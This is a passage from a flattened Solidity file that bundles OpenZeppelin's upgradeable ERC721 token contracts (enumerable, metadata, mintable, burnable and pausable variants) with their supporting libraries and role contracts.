actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\drafts\Counters.sol pragma solidity ^0.5.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\introspection\ERC165.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is Initializable, IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; function initialize() public initializer { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } uint256[50] private ______gap; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC721\ERC721.sol pragma solidity ^0.5.0; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Initializable, Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; function initialize() public initializer { ERC165.initialize(); // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); } function _hasBeenInitialized() internal view returns (bool) { return supportsInterface(_INTERFACE_ID_ERC721); } /** * @dev Gets the balance of the specified address. * @param owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address owner) public view returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].current(); } /** * @dev Gets the owner of the specified token ID. * @param tokenId uint256 ID of the token to query the owner of * @return address currently marked as the owner of the given token ID */ function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param to address to be approved for the given token ID * @param tokenId uint256 ID of the token to be approved */ function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * Reverts if the token ID does not exist. * @param tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf. * @param to operator address to set the approval * @param approved representing the status of the approval to be set */ function setApprovalForAll(address to, bool approved) public { require(to != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][to] = approved; emit ApprovalForAll(_msgSender(), to, approved); } /** * @dev Tells whether an operator is approved by a given owner. * @param owner owner address which you want to query the approval of * @param operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev Transfers the ownership of a given token ID to another address. * Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * Requires the msg.sender to be the owner, approved, or operator. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function transferFrom(address from, address to, uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transferFrom(from, to, tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg.sender to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function safeTransferFrom(address from, address to, uint256 tokenId) public { safeTransferFrom(from, to, tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement {IERC721Receiver-onERC721Received}, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransferFrom(from, to, tokenId, _data); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the _msgSender() to be the owner, approved, or operator * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal { _transferFrom(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether the specified token exists. * @param tokenId uint256 ID of the token to query the existence of * @return bool whether the token exists */ function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } /** * @dev Returns whether the given spender can transfer a given token ID. * @param spender address of the spender to query * @param tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } /** * @dev Internal function to safely mint a new token. * Reverts if the given token ID already exists. * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted * @param _data bytes data to send along with a safe transfer check */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to The address that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].increment(); emit Transfer(address(0), to, tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own"); _clearApproval(tokenId); _ownedTokensCount[owner].decrement(); _tokenOwner[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This is an internal detail of the `ERC721` contract and its use is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = to.call(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data )); if (!success) { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert("ERC721: transfer to non ERC721Receiver implementer"); } } else { bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } uint256[50] private ______gap; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC721\IERC721Enumerable.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Enumerable is Initializable, IERC721 { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId); function tokenByIndex(uint256 index) public view returns (uint256); } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC721\ERC721Enumerable.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token with optional enumeration extension logic * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Enumerable is Initializable, Context, ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Constructor function. */ function initialize() public initializer { require(ERC721._hasBeenInitialized()); // register the supported interface to conform to ERC721Enumerable via ERC165 _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } function _hasBeenInitialized() internal view returns (bool) { return supportsInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner. * @param owner address owning the tokens list to be accessed * @param index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) { require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev Gets the total amount of tokens stored by the contract. * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return _allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens. * @param index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 index) public view returns (uint256) { require(index < totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to transferFrom, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { super._transferFrom(from, to, tokenId); _removeTokenFromOwnerEnumeration(from, tokenId); _addTokenToOwnerEnumeration(to, tokenId); } /** * @dev Internal function to mint a new token. * Reverts if the given token ID already exists. * @param to address the beneficiary that will own the minted token * @param tokenId uint256 ID of the token to be minted */ function _mint(address to, uint256 tokenId) internal { super._mint(to, tokenId); _addTokenToOwnerEnumeration(to, tokenId); _addTokenToAllTokensEnumeration(tokenId); } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use {ERC721-_burn} instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); _removeTokenFromOwnerEnumeration(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _removeTokenFromAllTokensEnumeration(tokenId); } /** * @dev Gets the list of token IDs of the requested owner. * @param owner address owning the tokens * @return uint256[] List of token IDs owned by the requested address */ function _tokensOfOwner(address owner) internal view returns (uint256[] storage) { return _ownedTokens[owner]; } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.sub(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.sub(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } uint256[50] private ______gap; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC721\IERC721Metadata.sol pragma solidity ^0.5.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ contract IERC721Metadata is Initializable, IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\token\ERC721\ERC721Metadata.sol pragma solidity ^0.5.0; contract ERC721Metadata is Initializable, Context, ERC165, ERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /** * @dev Constructor function */ function initialize(string memory name, string memory symbol) public initializer { require(ERC721._hasBeenInitialized()); _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721_METADATA); } function _hasBeenInitialized() internal view returns (bool) { return supportsInterface(_INTERFACE_ID_ERC721_METADATA); } /** * @dev Gets the token name. * @return string representing the token name */ function name() external view returns (string memory) { return _name; } /** * @dev Gets the token symbol. * @return string representing the token symbol */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the URI for a given token ID. May return an empty string. * * If the token's URI is non-empty and a base URI was set (via * {_setBaseURI}), it will be added to the token ID's URI as a prefix. * * Reverts if the token ID does not exist. */ function tokenURI(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // Even if there is a base URI, it is only appended to non-empty token-specific URIs if (bytes(_tokenURI).length == 0) { return ""; } else { // abi.encodePacked is being used to concatenate strings return string(abi.encodePacked(_baseURI, _tokenURI)); } } /** * @dev Internal function to set the token URI for a given token. * * Reverts if the token ID does not exist. * * TIP: if all token IDs share a prefix (e.g. if your URIs look like * `http://api.myproject.com/token/<id>`), use {_setBaseURI} to store * it and save gas. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}. * * _Available since v2.5.0._ */ function _setBaseURI(string memory baseURI) internal { _baseURI = baseURI; } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a preffix in {tokenURI} to each token's URI, when * they are non-empty. * * _Available since v2.5.0._ */ function baseURI() external view returns (string memory) { return _baseURI; } /** * @dev Internal function to burn a specific token. * Reverts if the token does not exist. * Deprecated, use _burn(uint256) instead. * @param owner owner of the token to burn * @param tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } uint256[49] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC721\ERC721Full.sol pragma solidity ^0.5.0; /** * @title Full ERC721 Token * @dev This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology. * * See https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721Full is Initializable, ERC721, ERC721Enumerable, ERC721Metadata { uint256[50] private ______gap; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\access\Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\access\roles\MinterRole.sol pragma solidity ^0.5.0; contract MinterRole is Initializable, Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; function initialize(address sender) public initializer { if (!isMinter(sender)) { _addMinter(sender); } } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC721\ERC721Mintable.sol pragma solidity ^0.5.0; /** * @title ERC721Mintable * @dev ERC721 minting logic. */ contract ERC721Mintable is Initializable, ERC721, MinterRole { function initialize(address sender) public initializer { require(ERC721._hasBeenInitialized()); MinterRole.initialize(sender); } /** * @dev Function to mint tokens. * @param to The address that will receive the minted token. * @param tokenId The token id to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 tokenId) public onlyMinter returns (bool) { _mint(to, tokenId); return true; } /** * @dev Function to safely mint tokens. * @param to The address that will receive the minted token. * @param tokenId The token id to mint. * @return A boolean that indicates if the operation was successful. */ function safeMint(address to, uint256 tokenId) public onlyMinter returns (bool) { _safeMint(to, tokenId); return true; } /** * @dev Function to safely mint tokens. * @param to The address that will receive the minted token. * @param tokenId The token id to mint. * @param _data bytes data to send along with a safe transfer check. * @return A boolean that indicates if the operation was successful. */ function safeMint(address to, uint256 tokenId, bytes memory _data) public onlyMinter returns (bool) { _safeMint(to, tokenId, _data); return true; } uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC721\ERC721Burnable.sol pragma solidity ^0.5.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ contract ERC721Burnable is Initializable, Context, ERC721 { /** * @dev Burns a specific ERC721 token. * @param tokenId uint256 id of the ERC721 token to be burned. */ function burn(uint256 tokenId) public { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } uint256[50] private ______gap; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\access\roles\PauserRole.sol pragma solidity ^0.5.0; contract PauserRole is Initializable, Context { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; function initialize(address sender) public initializer { if (!isPauser(sender)) { _addPauser(sender); } } modifier onlyPauser() { require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(_msgSender()); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } uint256[50] private ______gap; } // File: node_modules\@openzeppelin\contracts-ethereum-package\contracts\lifecycle\Pausable.sol pragma solidity ^0.5.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract Pausable is Initializable, Context, PauserRole { /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. Assigns the Pauser role * to the deployer. */ function initialize(address sender) public initializer { PauserRole.initialize(sender); _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC721\ERC721Pausable.sol pragma solidity ^0.5.0; /** * @title ERC721 Non-Fungible Pausable token * @dev ERC721 modified with pausable transfers. */ contract ERC721Pausable is Initializable, ERC721, Pausable { function initialize(address sender) public initializer { require(ERC721._hasBeenInitialized()); Pausable.initialize(sender); } function approve(address to, uint256 tokenId) public whenNotPaused { super.approve(to, tokenId); } function setApprovalForAll(address to, bool approved) public whenNotPaused { super.setApprovalForAll(to, approved); } function _transferFrom(address from, address to, uint256 tokenId) internal whenNotPaused { super._transferFrom(from, to, tokenId); } uint256[50] private ______gap; } // File: @openzeppelin\contracts-ethereum-package\contracts\drafts\Strings.sol pragma solidity ^0.5.0; /** * @title Strings * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to a `string`. * via OraclizeAPI - MIT licence * 